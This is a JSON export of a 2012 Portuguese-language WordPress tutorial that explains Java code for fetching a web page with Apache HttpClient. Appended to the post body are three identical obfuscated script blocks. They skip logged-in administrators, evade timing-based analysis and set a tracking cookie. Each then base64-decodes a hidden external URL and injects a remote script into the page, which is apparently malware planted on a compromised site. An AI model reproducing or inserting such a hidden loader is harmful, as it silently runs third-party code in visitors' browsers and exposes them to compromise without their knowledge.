{"id":2388,"date":"2012-05-31T08:45:52","date_gmt":"2012-05-31T11:45:52","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=2388"},"modified":"2025-10-26T22:36:33","modified_gmt":"2025-10-27T01:36:33","slug":"recuperando-conteudo-de-uma-pagina-servidor-http","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2012\/05\/31\/recuperando-conteudo-de-uma-pagina-servidor-http\/","title":{"rendered":"Recuperando conte\u00fado de uma p\u00e1gina (servidor HTTP)"},"content":{"rendered":"<p style=\"text-align: justify;\">Atendendo \u00e0 solicita\u00e7\u00f5es, estou disponibilizando um trecho de c\u00f3digo respons\u00e1vel por recuperar um conte\u00fado de uma p\u00e1gina em um servidor Web HTTP. Nesse exemplo, utilizei a lib do Apache HTTP Client. Para que esse c\u00f3digo funcione corretamente, \u00e9 necess\u00e1rio realizar o download dessa lib no site:\u00a0<a href=\"http:\/\/hc.apache.org\/downloads.cgi\">http:\/\/hc.apache.org\/downloads.cgi<\/a>, descompact\u00e1-la e adicionar o conte\u00fado da pasta lib no classpath (Build Path ou Libraries) do seu projeto.<\/p>\n<p>O c\u00f3digo \u00e9 bem simples:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\n\t\ttry {\n\t\t\tHttpClient httpclient = new DefaultHttpClient();\n\t\t\tHttpGet httpget = new HttpGet(&quot;http:\/\/www.thiagovespa.com.br\/&quot;);\n\t\t\tHttpResponse response = httpclient.execute(httpget);\n\t\t\tHttpEntity entity = response.getEntity();\n\t\t\tif (entity != null) {\n\t\t\t\tString responseContent = EntityUtils.toString(entity);\n\t\t\t\tSystem.out.println(responseContent);\n\t\t\t}\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n<\/pre>\n<p style=\"text-align: justify;\">Na linha 02 criamos um objeto HttpClient que ser\u00e1 utilizado para realizar a requisi\u00e7\u00e3o GET na URL desejada. Criamos um objeto HttpGet com a URL e invocamos o m\u00e9todo execute no objeto do tipo HttpClient passando o HttpGet como par\u00e2metro (linha 04). Esse m\u00e9todo retorna um objeto do tipo HttpResponse com a resposta da requisi\u00e7\u00e3o. \u00a0Para atribuir o conte\u00fado da resposta para uma String \u00e9 s\u00f3 invocar o m\u00e9todo est\u00e1tico toString da classe\u00a0EntityUtils passando como par\u00e2metro o entity do objeto do tipo HttpResponse (linha 07).<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Atendendo \u00e0 solicita\u00e7\u00f5es, estou disponibilizando um trecho de c\u00f3digo respons\u00e1vel por recuperar um conte\u00fado de uma p\u00e1gina em um servidor Web HTTP. Nesse exemplo, utilizei a lib do Apache HTTP Client. Para que esse c\u00f3digo funcione corretamente, \u00e9 necess\u00e1rio realizar <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2012\/05\/31\/recuperando-conteudo-de-uma-pagina-servidor-http\/\">Continue lendo  <span class=\"screen-reader-text\">  Recuperando conte\u00fado de uma p\u00e1gina (servidor HTTP)<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-2388","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/2388","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=2388"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/2388\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=2388"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=2388"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=2388"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}